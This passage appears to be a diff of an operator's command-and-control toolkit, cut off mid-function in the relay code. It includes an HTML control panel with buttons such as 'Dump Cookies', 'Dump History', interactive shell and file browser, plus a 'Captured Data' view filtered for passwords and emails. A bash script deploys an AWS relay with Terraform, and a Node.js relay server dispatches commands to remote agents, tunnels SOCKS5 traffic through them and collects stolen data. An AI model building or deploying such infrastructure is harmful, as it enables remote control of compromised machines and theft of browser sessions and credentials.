<input type="number" id="serverPort" value="" placeholder="1080">
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label for="username">Username:</label>
|
||||
<input type="text" id="username" value="" placeholder="admin">
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label for="password">Password:</label>
|
||||
<input type="password" id="password" value="" placeholder="Password">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- Agent Information -->
|
||||
<div class="section">
|
||||
<h2>Agent Information</h2>
|
||||
<button id="getAgents">Refresh Agent List</button>
|
||||
<div id="agentsList"></div>
|
||||
</div>
|
||||
|
||||
<!-- Task History & Captured Data -->
|
||||
<div class="section">
|
||||
<h2>History & Monitoring</h2>
|
||||
|
||||
<!-- Tab Navigation -->
|
||||
<div class="tab-nav">
|
||||
<button class="tab-btn active" data-tab="tasks">Task History</button>
|
||||
<button class="tab-btn" data-tab="captured">
|
||||
Captured Data
|
||||
<span id="unreadCounter" class="unread-badge hidden"></span>
|
||||
</button>
|
||||
<button class="tab-btn" data-tab="browser">File Browser</button>
|
||||
<button class="tab-btn" data-tab="shell">Interactive Shell</button>
|
||||
</div>
|
||||
|
||||
<!-- Tasks Tab -->
|
||||
<div id="tasks-tab" class="tab-content active">
|
||||
<div class="tab-controls">
|
||||
<div class="form-group">
|
||||
<label for="historyFilter">Filter by Agent IP:</label>
|
||||
<select id="historyFilter">
|
||||
<option value="">All Agents</option>
|
||||
</select>
|
||||
</div>
|
||||
<button id="clearTaskHistory">Clear Task History</button>
|
||||
</div>
|
||||
<div id="taskHistory"></div>
|
||||
</div>
|
||||
|
||||
<!-- Captured Data Tab -->
|
||||
<div id="captured-tab" class="tab-content">
|
||||
<div class="tab-controls">
|
||||
<div class="form-group">
|
||||
<label for="capturedAgentFilter">Filter by Agent IP:</label>
|
||||
<select id="capturedAgentFilter">
|
||||
<option value="">All Agents</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label for="capturedContentFilter">Filter by Content:</label>
|
||||
<input type="text" id="capturedContentFilter" placeholder="e.g., password, username, email">
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label for="capturedTypeFilter">Filter by Data Type:</label>
|
||||
<select id="capturedTypeFilter">
|
||||
<option value="">All Types</option>
|
||||
</select>
|
||||
</div>
|
||||
<button id="markAllAsRead">Mark All as Read</button>
|
||||
<button id="clearCapturedData">Clear Captured Data</button>
|
||||
</div>
|
||||
<div id="capturedDataHistory"></div>
|
||||
</div>
|
||||
|
||||
<!-- File Browser Tab -->
|
||||
<div id="browser-tab" class="tab-content">
|
||||
<div class="tab-controls">
|
||||
<div class="form-group">
|
||||
<label for="browserAgentSelect">Select Agent:</label>
|
||||
<select id="browserAgentSelect">
|
||||
<option value="">Select an agent...</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label for="browserStartPath">Starting Path:</label>
|
||||
<input type="text" id="browserStartPath" placeholder="c:\" value="">
|
||||
</div>
|
||||
<button id="browserStart">Browse Files</button>
|
||||
<button id="browserRefresh">Refresh</button>
|
||||
</div>
|
||||
|
||||
<!-- Breadcrumb Navigation -->
|
||||
<div id="browserBreadcrumb" class="browser-breadcrumb hidden">
|
||||
<button id="browserUpButton" class="browser-up-btn hidden" title="Go up one directory">📁 ↑</button>
|
||||
<span id="browserPathDisplay"></span>
|
||||
</div>
|
||||
|
||||
<!-- File Browser Content -->
|
||||
<div id="browserContent" class="browser-content">
|
||||
<div class="browser-placeholder">
|
||||
Select an agent and starting path to begin browsing files
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Interactive Shell Tab -->
|
||||
<div id="shell-tab" class="tab-content">
|
||||
<div class="tab-controls">
|
||||
<div class="form-group">
|
||||
<label for="shellAgentSelect">Select Agent:</label>
|
||||
<select id="shellAgentSelect">
|
||||
<option value="">Select an agent...</option>
|
||||
</select>
|
||||
</div>
|
||||
<button id="shellClear">Clear Terminal</button>
|
||||
</div>
|
||||
|
||||
<!-- Terminal Container -->
|
||||
<div id="shellTerminal" class="shell-terminal">
|
||||
<div id="shellOutput" class="shell-output">
|
||||
<div class="shell-welcome">Interactive Shell Terminal - Select an agent to begin</div>
|
||||
</div>
|
||||
<div class="shell-input-container">
|
||||
<span class="shell-prompt" id="shellPrompt">$</span>
|
||||
<input type="text" id="shellInput" class="shell-input" placeholder="Enter shell command..." disabled>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Predefined Commands -->
|
||||
<div class="section">
|
||||
<h2>Quick Commands</h2>
|
||||
<div class="quick-commands">
|
||||
<button class="quick-cmd" data-cmd="ls" data-payload="C:\">📁 List Directory (ls)</button>
|
||||
<button class="quick-cmd shell-cmd" data-shellcmd="whoami" data-shellargs="">💻 Terminal whoami</button>
|
||||
<button class="quick-cmd shell-cmd" data-shellcmd="dir" data-shellargs="">📂 Terminal dir</button>
|
||||
<button class="quick-cmd shell-cmd" data-shellcmd="ipconfig" data-shellargs="/all">🌐 Terminal ipconfig</button>
|
||||
<button class="quick-cmd" data-cmd="shell" data-shellcmd="whoami" data-shellargs="">👤 whoami</button>
|
||||
<button class="quick-cmd" data-cmd="shell" data-shellcmd="ipconfig" data-shellargs="/all">🌐 ipconfig /all</button>
|
||||
<button class="quick-cmd" data-cmd="shell" data-shellcmd="dir" data-shellargs="">📂 dir</button>
|
||||
<button class="quick-cmd" data-cmd="cookies" data-payload="{}">🍪 Dump Cookies</button>
|
||||
<button class="quick-cmd" data-cmd="history" data-payload="{}">📜 Dump History</button>
|
||||
<button class="quick-cmd" data-cmd="webauthn" data-payload='"{\"domain\": \"example.com\", \"request\": \"eyJwdWJsaWNLZXkiOksic...\"}"'>🔐 WebAuthn Challenge</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Command Execution -->
|
||||
<div class="section">
|
||||
<h2>Execute Command</h2>
|
||||
<div class="grid">
|
||||
<div class="form-group">
|
||||
<label for="targetIp">Target Agent IP:</label>
|
||||
<select id="targetIp">
|
||||
<option value="">Select an agent...</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label for="command">Command:</label>
|
||||
<select id="command">
|
||||
<option value="">Select command...</option>
|
||||
<option value="ls">ls (List Directory)</option>
|
||||
<option value="shell">shell (Execute Shell Command)</option>
|
||||
<option value="cookies">cookies (Dump Cookies)</option>
|
||||
<option value="history">history (Dump History)</option>
|
||||
<option value="webauthn">webauthn (WebAuthn Challenge)</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Shell Command Fields (shown only when shell is selected) -->
|
||||
<div id="shellCommandFields" class="hidden">
|
||||
<div class="grid">
|
||||
<div class="form-group">
|
||||
<label for="shellCommand">Shell Command:</label>
|
||||
<input type="text" id="shellCommand" placeholder="whoami, ipconfig, dir, etc.">
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label for="shellArgs">Arguments (optional):</label>
|
||||
<input type="text" id="shellArgs" placeholder="/all, -la, etc.">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Generic Payload Field (shown for non-shell commands) -->
|
||||
<div id="genericPayloadField">
|
||||
<div class="form-group">
|
||||
<label for="payload">Payload (JSON String):</label>
|
||||
<textarea id="payload" rows="4" placeholder='Select a command to see specific format requirements'></textarea>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<button id="executeCommand">Execute Command</button>
|
||||
<div id="commandResponse" class="response-area hidden"></div>
|
||||
</div>
|
||||
|
||||
<!-- Task Status -->
|
||||
<div class="section">
|
||||
<h2>Task Status</h2>
|
||||
<div class="form-group">
|
||||
<label for="taskId">Task ID:</label>
|
||||
<input type="text" id="taskId" placeholder="Enter task ID to check status">
|
||||
</div>
|
||||
<button id="checkTask">Check Task Status</button>
|
||||
<div id="taskResponse" class="response-area hidden"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/pako/2.1.0/pako.min.js"></script>
|
||||
<script src="config.js"></script>
|
||||
<script src="app.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
Executable
+135
@@ -0,0 +1,135 @@
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
# Parse command line arguments
|
||||
DOMAIN_NAME=""
|
||||
AWS_REGION="us-east-2" # Default region
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case $1 in
|
||||
--domain)
|
||||
DOMAIN_NAME="$2"
|
||||
shift 2
|
||||
;;
|
||||
--region)
|
||||
AWS_REGION="$2"
|
||||
shift 2
|
||||
;;
|
||||
*)
|
||||
echo "Unknown option: $1"
|
||||
echo "Usage: $0 [--domain domain.example.com] [--region aws-region]"
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
# Check for AWS CLI and Terraform
|
||||
if ! command -v aws &> /dev/null; then
|
||||
echo "AWS CLI not found. Please install it first."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if ! command -v terraform &> /dev/null; then
|
||||
echo "Terraform not found. Please install it first."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Configure AWS credentials if not already set
|
||||
if ! aws sts get-caller-identity &> /dev/null; then
|
||||
echo "AWS credentials not found. Run aws configure first."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Create deployment directory
|
||||
DEPLOY_DIR="../output/relay-deployment"
|
||||
mkdir -p "$DEPLOY_DIR/files"
|
||||
|
||||
# Copy Terraform configuration files
|
||||
cp main.tf variables.tf outputs.tf "$DEPLOY_DIR/"
|
||||
cp -r files/* "$DEPLOY_DIR/files/"
|
||||
|
||||
cd "$DEPLOY_DIR"
|
||||
|
||||
# Create SSH key pair if it doesn't exist
|
||||
KEY_NAME="relay-proxy-key"
|
||||
if ! aws ec2 describe-key-pairs --key-names "$KEY_NAME" &> /dev/null; then
|
||||
echo "Creating new SSH key pair..."
|
||||
aws ec2 create-key-pair \
|
||||
--key-name "$KEY_NAME" \
|
||||
--query 'KeyMaterial' \
|
||||
--output text > "${KEY_NAME}.pem"
|
||||
chmod 400 "${KEY_NAME}.pem"
|
||||
fi
|
||||
|
||||
# Get current IP for "office_ip_range"
|
||||
CURRENT_IP=$(curl -s https://checkip.amazonaws.com)
|
||||
OFFICE_IP_RANGE="${CURRENT_IP}/32"
|
||||
echo "Detected IP address: $OFFICE_IP_RANGE"
|
||||
echo "Using AWS region: $AWS_REGION"
|
||||
|
||||
# Generate secure random tokens
|
||||
RELAY_TOKEN=$(openssl rand -hex 32)
|
||||
PROXY_USER="admin"
|
||||
PROXY_PASS=$(openssl rand -base64 32)
|
||||
|
||||
# Create terraform.tfvars
|
||||
cat > terraform.tfvars << EOF
|
||||
aws_region = "${AWS_REGION}"
|
||||
office_ip_range = "${OFFICE_IP_RANGE}"
|
||||
key_name = "${KEY_NAME}"
|
||||
relay_token = "${RELAY_TOKEN}"
|
||||
proxy_user = "${PROXY_USER}"
|
||||
proxy_pass = "${PROXY_PASS}"
|
||||
instance_type = "t3.micro"
|
||||
domain_name = "${DOMAIN_NAME}"
|
||||
EOF
|
||||
|
||||
# Initialize and apply Terraform
|
||||
echo "Initializing Terraform..."
|
||||
terraform init
|
||||
|
||||
echo "Validating Terraform configuration..."
|
||||
terraform validate
|
||||
|
||||
echo "Applying Terraform configuration..."
|
||||
terraform apply -auto-approve
|
||||
|
||||
# Save connection details
|
||||
echo "Saving connection details..."
|
||||
RELAY_IP=$(terraform output -raw relay_public_ip)
|
||||
|
||||
cat > relay-config.txt << EOF
|
||||
Relay Server Details:
|
||||
====================
|
||||
SOCKS5 Proxy: ${RELAY_IP}:1080
|
||||
Username: ${PROXY_USER}
|
||||
Password: ${PROXY_PASS}
|
||||
WebSocket URL: wss://${RELAY_IP}:443
|
||||
Relay Token: ${RELAY_TOKEN}
|
||||
SSH Key: ${PWD}/${KEY_NAME}.pem
|
||||
SSH Command: ssh -i ${KEY_NAME}.pem ec2-user@${RELAY_IP}
|
||||
|
||||
Example SOCKS5 Configuration:
|
||||
============================
|
||||
Host: ${RELAY_IP}
|
||||
Info Port: 1080
|
||||
Port Range: 1081-1181
|
||||
Username: ${PROXY_USER}
|
||||
Password: ${PROXY_PASS}
|
||||
|
||||
For Datacenter Agent Configuration:
|
||||
=================================
|
||||
RELAY_SERVER=wss://${RELAY_IP}:443
|
||||
RELAY_TOKEN=${RELAY_TOKEN}
|
||||
EOF
|
||||
|
||||
chmod 600 relay-config.txt
|
||||
|
||||
echo "Deployment complete! Configuration saved to relay-config.txt"
|
||||
echo "Allow a few minutes for the server to finish initialization."
|
||||
echo "To test the connection: ssh -i ${KEY_NAME}.pem ec2-user@${RELAY_IP}"
|
||||
|
||||
# Add setup log viewing option
|
||||
echo -e "\n\nTo view setup logs:"
|
||||
echo "aws ec2 get-console-output --instance-id $(terraform output -raw relay_instance_id)"
|
||||
echo "or"
|
||||
echo "ssh -i ${KEY_NAME}.pem ec2-user@${RELAY_IP} 'sudo cat /var/log/cloud-init-output.log'"
|
||||
Executable
+954
@@ -0,0 +1,954 @@
|
||||
require('dotenv').config();
|
||||
const WebSocket = require('ws');
|
||||
const https = require('https');
|
||||
const fs = require('fs');
|
||||
const express = require('express');
|
||||
const socks = require('socksv5');
|
||||
const crypto = require('crypto');
|
||||
const winston = require('winston');
|
||||
const http = require('http');
|
||||
const selfsigned = require('selfsigned');
|
||||
|
||||
const logger = winston.createLogger({
|
||||
level: 'debug',
|
||||
format: winston.format.combine(
|
||||
winston.format.timestamp(),
|
||||
winston.format.json()
|
||||
),
|
||||
transports: [
|
||||
new winston.transports.File({ filename: 'error.log', level: 'error' }),
|
||||
new winston.transports.File({ filename: 'combined.log' })
|
||||
]
|
||||
});
|
||||
|
||||
if (process.env.NODE_ENV !== 'production') {
|
||||
logger.add(new winston.transports.Console({
|
||||
format: winston.format.simple()
|
||||
}));
|
||||
}
|
||||
|
||||
class RelayServer {
|
||||
constructor() {
|
||||
this.app = express();
|
||||
this.server = http.createServer(this.app);
|
||||
this.wss = new WebSocket.Server({ server: this.server });
|
||||
this.agents = new Map();
|
||||
this.connections = new Map();
|
||||
this.portMap = new Map();
|
||||
this.ipToAgentId = new Map();
|
||||
this.portRange = { start: 1081, end: 1181 };
|
||||
this.socksServers = new Map();
|
||||
|
||||
// Captured data
|
||||
this.capturedData = new Map(); // agentId -> array of captured data
|
||||
|
||||
// Task management
|
||||
this.taskQueues = new Map(); // agentId -> array of tasks
|
||||
this.tasks = new Map(); // taskId -> task object
|
||||
this.taskResults = new Map(); // taskId -> result object
|
||||
|
||||
// Server-Sent Events clients
|
||||
this.sseClients = new Set(); // Set of SSE response objects
|
||||
|
||||
this.setupHealthCheck();
|
||||
this.setupControlServer();
|
||||
this.setupSocksServer();
|
||||
}
|
||||
|
||||
setupHealthCheck() {
|
||||
this.app.get('/health', (req, res) => {
|
||||
res.json({
|
||||
status: 'healthy',
|
||||
activeAgents: this.agents.size,
|
||||
activeConnections: this.connections.size,
|
||||
allocatedPorts: this.portMap.size
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
setupControlServer() {
|
||||
// Create a standard HTTP server for the control endpoint
|
||||
const controlApp = express();
|
||||
const controlServer = http.createServer(controlApp);
|
||||
|
||||
// CORS middleware
|
||||
controlApp.use((req, res, next) => {
|
||||
res.header('Access-Control-Allow-Origin', '*');
|
||||
res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS');
|
||||
res.header('Access-Control-Allow-Headers', 'Origin, X-Requested-With, Content-Type, Accept, Authorization');
|
||||
|
||||
// Handle preflight requests
|
||||
if (req.method === 'OPTIONS') {
|
||||
res.sendStatus(200);
|
||||
} else {
|
||||
next();
|
||||
}
|
||||
});
|
||||
|
||||
// Basic authentication middleware
|
||||
const basicAuth = (req, res, next) => {
|
||||
// Skip basic auth for /events endpoint (uses query param auth instead)
|
||||
if (req.path === '/events') {
|
||||
return next();
|
||||
}
|
||||
|
||||
// Check for basic auth header
|
||||
const authHeader = req.headers.authorization;
|
||||
|
||||
if (!authHeader || !authHeader.startsWith('Basic ')) {
|
||||
res.setHeader('WWW-Authenticate', 'Basic');
|
||||
return res.status(401).json({ error: 'Authentication required' });
|
||||
}
|
||||
|
||||
// Verify credentials
|
||||
const base64Credentials = authHeader.split(' ')[1];
|
||||
const credentials = Buffer.from(base64Credentials, 'base64').toString('ascii');
|
||||
const [username, password] = credentials.split(':');
|
||||
|
||||
const isValid = username === process.env.PROXY_USER &&
|
||||
password === process.env.PROXY_PASS;
|
||||
|
||||
logger.info({
|
||||
event: 'control_server_auth_attempt',
|
||||
username,
|
||||
success: isValid
|
||||
});
|
||||
|
||||
if (!isValid) {
|
||||
return res.status(401).json({ error: 'Invalid authentication credentials' });
|
||||
}
|
||||
|
||||
next();
|
||||
};
|
||||
|
||||
// Apply auth middleware to all routes
|
||||
controlApp.use(basicAuth);
|
||||
|
||||
// Add JSON parsing middleware
|
||||
controlApp.use(express.json({ limit: '10mb' }));
|
||||
|
||||
// Parse a command from the request body, the request contains:
|
||||
// The command object to relay
|
||||
// The IP of the agent to relay the command to
|
||||
// It will return the taskId of the command
|
||||
controlApp.post('/command', (req, res) => {
|
||||
try {
|
||||
const { command, payload, agentIp } = req.body;
|
||||
|
||||
if (!command || !agentIp) {
|
||||
return res.status(400).json({
|
||||
error: 'Missing required fields: command, agentIp'
|
||||
});
|
||||
}
|
||||
|
||||
// Find agent by IP
|
||||
let targetAgentId = null;
|
||||
for (const [agentId, agent] of this.agents.entries()) {
|
||||
if (agent.remoteAddress === agentIp) {
|
||||
targetAgentId = agentId;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!targetAgentId) {
|
||||
return res.status(404).json({
|
||||
error: `No active agent found for IP: ${agentIp}`
|
||||
});
|
||||
}
|
||||
|
||||
const agentPort = this.getPortForAgent(agentIp);
|
||||
let targetAgent = null;
|
||||
for (const [id, agent] of this.agents.entries()) {
|
||||
if (agent.port === agentPort) {
|
||||
targetAgent = agent.ws;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!targetAgent) {
|
||||
return res.status(503).json({
|
||||
error: `No active agent found for IP: ${agentIp} on port: ${agentPort}`
|
||||
});
|
||||
}
|
||||
// Generate task ID
|
||||
const taskId = crypto.randomUUID();
|
||||
|
||||
// Create task object
|
||||
const task = {
|
||||
taskId,
|
||||
command,
|
||||
payload: payload || {},
|
||||
agentId: targetAgentId,
|
||||
agentIp,
|
||||
status: 'queued',
|
||||
createdAt: new Date().toISOString(),
|
||||
updatedAt: new Date().toISOString()
|
||||
};
|
||||
|
||||
targetAgent.send(JSON.stringify({
|
||||
type: 'command',
|
||||
taskId,
|
||||
command,
|
||||
payload
|
||||
}));
|
||||
|
||||
// Store task
|
||||
this.tasks.set(taskId, task);
|
||||
|
||||
// Add to agent's queue
|
||||
if (!this.taskQueues.has(targetAgentId)) {
|
||||
this.taskQueues.set(targetAgentId, []);
|
||||
}
|
||||
this.taskQueues.get(targetAgentId).push(task);
|
||||
|
||||
// Broadcast task queued via SSE
|
||||
this.broadcastSSE('task_queued', {
|
||||
taskId,
|
||||
command,
|
||||
agentIp,
|
||||
status: 'queued'
|
||||
});
|
||||
|
||||
logger.info({
|
||||
event: 'command_queued',
|
||||
taskId,
|
||||
command,
|
||||
agentId: targetAgentId,
|
||||
agentIp
|
||||
});
|
||||
|
||||
res.json({
|
||||
taskId,
|
||||
status: 'queued',
|
||||
message: 'Command queued successfully'
|
||||
});
|
||||
|
||||
} catch (error) {
|
||||
logger.error({
|
||||
event: 'command_queue_error',
|
||||
error: error.message
|
||||
});
|
||||
|
||||
res.status(500).json({
|
||||
error: 'Internal server error'
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
// Task status endpoint
|
||||
controlApp.get('/task/:taskId', (req, res) => {
|
||||
try {
|
||||
const { taskId } = req.params;
|
||||
|
||||
if (!taskId) {
|
||||
return res.status(400).json({
|
||||
error: 'Missing taskId parameter'
|
||||
});
|
||||
}
|
||||
|
||||
const task = this.tasks.get(taskId);
|
||||
|
||||
if (!task) {
|
||||
return res.status(404).json({
|
||||
error: 'Task not found'
|
||||
});
|
||||
}
|
||||
|
||||
// Include result if available
|
||||
const result = this.taskResults.get(taskId);
|
||||
|
||||
const response = {
|
||||
taskId: task.taskId,
|
||||
command: task.command,
|
||||
status: task.status,
|
||||
createdAt: task.createdAt,
|
||||
updatedAt: task.updatedAt,
|
||||
agentIp: task.agentIp
|
||||
};
|
||||
|
||||
if (result) {
|
||||
response.result = result;
|
||||
}
|
||||
|
||||
res.json(response);
|
||||
|
||||
} catch (error) {
|
||||
logger.error({
|
||||
event: 'task_status_error',
|
||||
error: error.message
|
||||
});
|
||||
|
||||
res.status(500).json({
|
||||
error: 'Internal server error'
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
// Control endpoint
|
||||
controlApp.get('/info', (req, res) => {
|
||||
const agentInfo = [];
|
||||
const processedIps = new Set();
|
||||
|
||||
// Add active agents
|
||||
for (const [agentId, agent] of this.agents.entries()) {
|
||||
const ip = agent.remoteAddress;
|
||||
processedIps.add(ip);
|
||||
|
||||
const port = this.getPortForAgent(ip);
|
||||
const connectionCount = Array.from(this.connections.values())
|
||||
.filter(conn => conn.agent === agent.ws).length;
|
||||
|
||||
agentInfo.push({
|
||||
agentId,
|
||||
ip,
|
||||
port,
|
||||
active: true,
|
||||
connectionCount,
|
||||
lastSeen: agent.lastSeen
|
||||
});
|
||||
}
|
||||
|
||||
// Add inactive but previously seen agents
|
||||
for (const [ip, portData] of this.portMap.entries()) {
|
||||
// Skip IPs we've already processed (active agents)
|
||||
if (processedIps.has(ip)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Get the agent ID for this IP if it exists
|
||||
let agentId = "unknown";
|
||||
if (this.ipToAgentId.has(ip)) {
|
||||
agentId = this.ipToAgentId.get(ip);
|
||||
}
|
||||
|
||||
agentInfo.push({
|
||||
agentId,
|
||||
ip,
|
||||
port: portData.port,
|
||||
active: false,
|
||||
lastSeen: portData.lastSeen
|
||||
});
|
||||
}
|
||||
|
||||
res.json(agentInfo);
|
||||
});
|
||||
|
||||
// Server-Sent Events endpoint for task completion notifications
|
||||
// Note: EventSource doesn't support custom headers, so we use query param auth
|
||||
controlApp.get('/events', (req, res) => {
|
||||
// Check for auth via query parameter since EventSource can't send headers
|
||||
const authToken = req.query.auth;
|
||||
if (!authToken) {
|
||||
return res.status(401).json({ error: 'Missing auth token' });
|
||||
}
|
||||
|
||||
// Decode and verify the auth token (should be base64 encoded "username:password")
|
||||
try {
|
||||
const credentials = Buffer.from(authToken, 'base64').toString('ascii');
|
||||
const [username, password] = credentials.split(':');
|
||||
|
||||
const isValid = username === process.env.PROXY_USER &&
|
||||
password === process.env.PROXY_PASS;
|
||||
|
||||
if (!isValid) {
|
||||
return res.status(401).json({ error: 'Invalid authentication credentials' });
|
||||
}
|
||||
} catch (err) {
|
||||
return res.status(401).json({ error: 'Invalid auth token format' });
|
||||
}
|
||||
// Set headers for SSE
|
||||
res.writeHead(200, {
|
||||
'Content-Type': 'text/event-stream',
|
||||
'Cache-Control': 'no-cache',
|
||||
'Connection': 'keep-alive',
|
||||
'Access-Control-Allow-Origin': '*',
|
||||
'Access-Control-Allow-Headers': 'Cache-Control'
|
||||
});
|
||||
|
||||
// Send initial connection message
|
||||
res.write('data: {"type": "connected", "message": "Connected to task events"}\n\n');
|
||||
|
||||
// Add client to the set
|
||||
this.sseClients.add(res);
|
||||
|
||||
logger.info({
|
||||
event: 'sse_client_connected',
|
||||
clientCount: this.sseClients.size
|
||||
});
|
||||
|
||||
// Handle client disconnect
|
||||
req.on('close', () => {
|
||||
this.sseClients.delete(res);
|
||||
logger.info({
|
||||
event: 'sse_client_disconnected',
|
||||
clientCount: this.sseClients.size
|
||||
});
|
||||
});
|
||||
|
||||
req.on('error', (err) => {
|
||||
logger.error({
|
||||
event: 'sse_client_error',
|
||||
error: err.message
|
||||
});
|
||||
this.sseClients.delete(res);
|
||||
});
|
||||
});
|
||||
|
||||
// Start the control server on port 1080
|
||||
controlServer.listen(1080, '0.0.0.0', () => {
|
||||
logger.info({
|
||||
event: 'control_server_started',
|
||||
port: 1080
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
setupSocksServer() {
|
||||
let key, cert;
|
||||
try {
|
||||
key = fs.readFileSync('/opt/relay-server/certs/key.pem');
|
||||
cert = fs.readFileSync('/opt/relay-server/certs/cert.pem');
|
||||
} catch (err) {
|
||||
logger.warn({
|
||||
event: 'no_certificate_found',
|
||||
error: err.message
|
||||
});
|
||||
const attrs = [{ name: 'commonName', value: 'localhost' }];
|
||||
const pems = selfsigned.generate(attrs, {
|
||||
days: 365,
|
||||
keySize: 2048,
|
||||
algorithm: 'sha256'
|
||||
});
|
||||
key = pems.private;
|
||||
cert = pems.cert;
|
||||
}
|
||||
|
||||
const httpsServer = https.createServer({
|
||||
key: key,
|
||||
cert: cert
|
||||
});
|
||||
this.wss = new WebSocket.Server({ server: httpsServer });
|
||||
|
||||
this.wss.on('connection', (ws, req) => {
|
||||
const remoteAddress = req.socket.remoteAddress;
|
||||
let isAuthorized = false;
|
||||
|
||||
const authHeader = req.headers['authorization'];
|
||||
if (authHeader && authHeader.startsWith('Bearer ')) {
|
||||
const token = authHeader.slice(7);
|
||||
if (token === process.env.RELAY_TOKEN) {
|
||||
isAuthorized = true;
|
||||
}
|
||||
}
|
||||
|
||||
if (!isAuthorized) {
|
||||
const protocols = req.headers['sec-websocket-protocol'];
|
||||
if (protocols) {
|
||||
const protocolList = protocols.split(',').map(p => p.trim());
|
||||
for (const protocol of protocolList) {
|
||||
if (protocol.startsWith('token.')) {
|
||||
const token = protocol.slice(6);
|
||||
if (token === process.env.RELAY_TOKEN) {
|
||||
isAuthorized = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!isAuthorized) {
|
||||
logger.warn({
|
||||
event: 'invalid_auth_attempt',
|
||||
ip: remoteAddress,
|
||||
hasAuthHeader: !!authHeader,
|
||||
hasProtocols: !!req.headers['sec-websocket-protocol']
|
||||
});
|
||||
ws.close();
|
||||
return;
|
||||
}
|
||||
|
||||
// Check if we already have an agent ID for this IP
|
||||
let agentId;
|
||||
let isReconnect = false;
|
||||
|
||||
if (this.ipToAgentId.has(remoteAddress)) {
|
||||
// Reuse the existing agent ID
|
||||
agentId = this.ipToAgentId.get(remoteAddress);
|
||||
isReconnect = true;
|
||||
|
||||
// If there's an existing connection with this agent ID, close it
|
||||
const existingAgent = this.agents.get(agentId);
|
||||
if (existingAgent && existingAgent.ws && existingAgent.ws !== ws) {
|
||||
logger.info({
|
||||
event: 'replacing_existing_connection',
|
||||
agentId,
|
||||
ip: remoteAddress
|
||||
});
|
||||
|
||||
// Close the existing connection gracefully
|
||||
try {
|
||||
existingAgent.ws.close();
|
||||
} catch (err) {
|
||||
// Ignore errors when closing
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Generate a new agent ID for this IP
|
||||
agentId = crypto.randomUUID();
|
||||
this.ipToAgentId.set(remoteAddress, agentId);
|
||||
}
|
||||
|
||||
const agentInfo = {
|
||||
ws,
|
||||
remoteAddress,
|
||||
lastSeen: Date.now(),
|
||||
port: this.getPortForAgent(remoteAddress)
|
||||
};
|
||||
|
||||
this.agents.set(agentId, agentInfo);
|
||||
|
||||
this.ensureSocksServerForAgent(agentId, agentInfo);
|
||||
|
||||
logger.info({
|
||||
event: isReconnect ? 'agent_reconnected' : 'agent_connected',
|
||||
agentId,
|
||||
ip: remoteAddress,
|
||||
port: agentInfo.port
|
||||
});
|
||||
|
||||
ws.on('message', (message) => {
|
||||
if (this.agents.has(agentId)) {
|
||||
this.agents.get(agentId).lastSeen = Date.now();
|
||||
|
||||
if (this.portMap.has(remoteAddress)) {
|
||||
this.portMap.get(remoteAddress).lastSeen = Date.now();
|
||||
}
|
||||
}
|
||||
|
||||
try {
|
||||
const data = JSON.parse(message.toString());
|
||||
const connection = this.connections.get(data.connectionId);
|
||||
|
||||
if (data.type === 'command_response') {
|
||||
this.taskResults.set(data.taskId, data.payload);
|
||||
|
||||
// Get task info for the SSE event
|
||||
const task = this.tasks.get(data.taskId);
|
||||
|
||||
// Broadcast task completion via SSE
|
||||
this.broadcastSSE('task_completed', {
|
||||
taskId: data.taskId,
|
||||
command: task ? task.command : 'unknown',
|
||||
agentIp: task ? task.agentIp : 'unknown',
|
||||
result: data.payload,
|
||||
status: 'completed'
|
||||
});
|
||||
|
||||
logger.debug({
|
||||
event: 'command_response',
|
||||
taskId: data.taskId,
|
||||
payload: data.payload
|
||||
});
|
||||
return;
|
||||
} else if (data.type === 'captured_data') {
|
||||
if (!this.capturedData.has(agentId)) {
|
||||
this.capturedData.set(agentId, []);
|
||||
}
|
||||
this.capturedData.get(agentId).push(data);
|
||||
|
||||
// Get agent info for the SSE event
|
||||
const agent = this.agents.get(agentId);
|
||||
|
||||
// Broadcast captured data via SSE
|
||||
this.broadcastSSE('captured_data', {
|
||||
agentId,
|
||||
agentIp: agent ? agent.remoteAddress : 'unknown',
|
||||
data: data.data,
|
||||
dataType: data.dataType,
|
||||
timestamp: new Date().toISOString()
|
||||
});
|
||||
|
||||
logger.debug({
|
||||
event: 'captured_data',
|
||||
agentId,
|
||||
data: data.data,
|
||||
dataType: data.dataType
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
if (connection && data.type === 'data') {
|
||||
const msgId = data.msgId || crypto.randomBytes(4).toString('hex');
|
||||
logger.debug({
|
||||
event: 'agent_data',
|
||||
connectionId: data.connectionId,
|
||||
